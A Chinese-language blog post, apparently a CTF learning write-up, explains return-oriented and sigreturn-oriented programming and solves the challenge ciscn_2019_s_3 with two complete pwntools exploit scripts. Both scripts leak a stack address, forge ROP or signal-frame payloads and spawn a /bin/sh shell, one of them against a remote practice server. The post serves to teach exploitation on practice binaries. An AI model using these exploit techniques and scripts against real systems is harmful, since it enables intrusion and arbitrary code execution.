rop_and_srop

rop_and_srop

一月 28, 2021

一年没有更过博客了,这一年中在学了pwn相关,现在把博客重新整活过来,之后有时间把学的东西整理一下发出来。

ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

ROP的主要思想就是攻击者不需要自己注入代码(因为在DEP的保护下,注入的代码不可执行),而是利用系统已有的代码片段来构造攻击。这里之所以叫ROP,是因为其改变控制流的方式是用系统中的return指令(比如x86中的ret)。

ROP需要一个栈溢出,让攻击者可以修改栈上的数据,然后在程序中寻找一系列以return结尾的指令片段(我们将其称为”gadgets”)将其填入栈中合适的位置,通过return控制程序流将其连接起来,通过popmov等指令把写入栈相应位置的数据传到寄存器中,达到控制程序的目的。

gadgets可以用ROPgadget进行搜索

依赖安装:

1
pip install capstone

ROPgadget安装:

1
pip install ROPgadget

使用:

1
ROPgadget --binary elf --only 'pop|ret'

根据32位和64位程序不同的函数传参方式应该用不同的方式编写payload传参:

x86

将函数的参数从右向左一次压入栈中,写payload时可以直接将参数写在栈上对应的位置。

x86-64

在 x64 体系中,多数调用惯例都是通过寄存器传递参数。在 Linux 上,前六个参数通过 RDIRSIRDXRCXR8R9 传递,当参数为6个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样;而在 Windows 中,前四个参数通过 RCXRDXR8R9 来传递。

参数个数大于 7 个的时候

1
2
3
4
5
H(a, b, c, d, e, f, g, h);  
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H

这种情况需要先把参数写入栈中,再利用程序中的popmov指令将参数传入相应的寄存器中,这些指令可以用ROPgadget寻找,__libc_csu_init函数中这段代码也常常拿来传参:

先控制程序返回到0x400596的位置,把写在栈上的数据popr12r13等寄存器中,之后返回到0x400580r13等寄存器中的数据转移到rdx等寄存器中,并调用[r12+rbp*8]处的函数。最近有学到一手可以把[r12+rbp*8]的设置成pop;ret;的地址来跳出csu。

SROP

原理

SROP的全称是Sigreturn Oriented Programming。在这里sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接地调用。Signal这套机制在1970年代就被提出来并整合进了UNIX内核中,它在现在的操作系统中被使用的非常广泛,比如内核要杀死一个进程(kill -9 $PID),再比如为进程设置定时器,或者通知进程一些异常事件等等。

如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

我们将这段内存称为一个Signal Frame

在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行

Signal机制缺陷利用

内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文。这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;而且内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame
因此,完全可以自己在栈上放好上下文,然后自己调用re_sigreturn,跳过步骤1、2。此时,我们将通过步骤3、4让内核把我们伪造的上下文恢复到用户进程中,也就是说我们可以重置所有寄存器的值,一次到位地做到控制通用寄存器,rip和完成栈劫持。

一个简单的攻击

假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示:

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。
这是一个最简单的攻击。在这个攻击中,有4个前提条件:

  1. 攻击者可以通过stack overflow等漏洞控制栈上的内容;
  2. 需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
  3. 需要知道syscall指令在内存中的地址;
  4. 需要知道sigreturn系统调用的内存地址。

利用SROP构造系统调用串

通过再额外添加一个对栈指针rsp的控制,可以实现连续的系统调用:

另外需要把原来单纯的syscall gadget换成syscall; ret gadget。在这个过程中,每次syscall返回之后,栈指针都会指向下一个Signal Frame,因此,在这个时候执行ret指令,就会再次调用sigreturn系统调用。这样就可以通过操作栈来达到连续进行系统调用的效果。

pwntools中的SROP

可以直接调用pwntools的SigreturnFrame来快速生成SROP帧,需要注意的是,pwntools中的SigreturnFrame中并不需要填写rt_sigreturn的地址,我们只需要确保执行rt_sigreturn的时候栈顶是SigreturnFrame就行,因此我们可以通过syscall指令调用rt_sigreturn而不必特意去寻找这个调用的完整实现。此外,由于32位分为原生的i386(32位系统)和i386 on amd64(64位系统添加32位应用程序支持)两种情况,这两种情况的段寄存器设置有所不同

#原生i386
context.arch = ‘i386’
SROPFrame = SigreturnFrame(kernel=’i386’)

#amd64上运行的32位程序
context.arch = ‘i386’
SROPFrame = SigreturnFrame(kernel=’amd64’)

#例
frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=bin_sh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall_addr

例:ciscn_2019_s_3

保护:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

存在栈溢出,使用syscall系统调用:

gadgets:

其中0fh是rt_sigreturn的系统调用号,3Bh是execve的系统调用号。

vuln函数汇编:

函数开始时把caller函数rbp压栈但在结束时没有取出,所以函数返回的地址其实是caller函数rbp的地址,是一个栈上的地址所以程序正常执行会报错,所以我们在进行栈溢出的时候只需要把返回地址写到rbp的位置。

思路是利用ROP执行execve("/bin/sh",0,0),程序中没有”/bin/sh”,只能自己在vuln函数中输入到栈中再泄露栈地址。

在进行栈溢出覆盖返回地址后发现在vuln输出的0x30字节数据中还有一盒栈地址:

1
2
3
4
pwndbg> x/6xg $rsp-0x10
0x7fffffffdf90: 0x6161616161616161 0x6161616161616161
0x7fffffffdfa0: 0x6161616161616161 0x000000000040050a
0x7fffffffdfb0: 0x00007fffffffe0b8 0x0000000100000000

0x00007fffffffe0b8是一个栈上的地址,可以计算偏移通过该地址算出输入数据的地址。

ROP解

利用ROPgadget和csu里找到的gadgets编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

# context.log_level='debug'

elf=ELF('./ciscn_s_3')
io=process('./ciscn_s_3')
# io=remote('node3.buuoj.cn',28391)

vuln_addr=elf.symbols['vuln']
syscall_addr=0x400517
pop_rbx_rbp__r12_r13_r14_r15_ret_addr=0x40059a
mov_rdx_r13_rsi_r14_edi_r15_call_r12rbx8_addr=0x400580
pop_rdi_ret_addr=0x4005a3
mv_rax_3bh_addr=0x4004E2

# gdb.attach(io,'b *0x40052c')

payload1=b'/bin/sh\x00'*0x2+p64(vuln_addr)
io.sendline(payload1)
io.recv(0x20)
bin_sh_addr=u64(io.recv(8))-0x128

payload2=b'/bin/sh\x00'*2+p64(mv_rax_3bh_addr)+p64(pop_rbx_rbp__r12_r13_r14_r15_ret_addr)+p64(0)*2+p64(bin_sh_addr+0x58)+p64(0)*3+p64(mov_rdx_r13_rsi_r14_edi_r15_call_r12rbx8_addr)+p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(syscall_addr)
io.sendline(payload2)
io.interactive()

SROP解

不用一大堆gadgets传参,利用syscall调用rt_sigreturn解析我们在栈上伪造的Signal Frame进行传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os='linux',arch='amd64')

elf=ELF('./ciscn_s_3')
# io=process('./ciscn_s_3')
io=remote('node3.buuoj.cn',29508)

mv_rax_sigreturn_ret_addr=0x4004da
vuln_addr=elf.symbols['vuln']
syscall_addr=0x400501

payload1=b'/bin/sh\x00'*2+p64(vuln_addr)
io.sendline(payload1)
io.recv(0x20)
bin_sh_addr=u64(io.recv(8))-0x118

frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=bin_sh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall_addr

payload2=b'/bin/sh\x00'*2+p64(mv_rax_sigreturn_ret_addr)+p64(syscall_addr)+bytes(frame)
io.sendline(payload2)
io.interactive()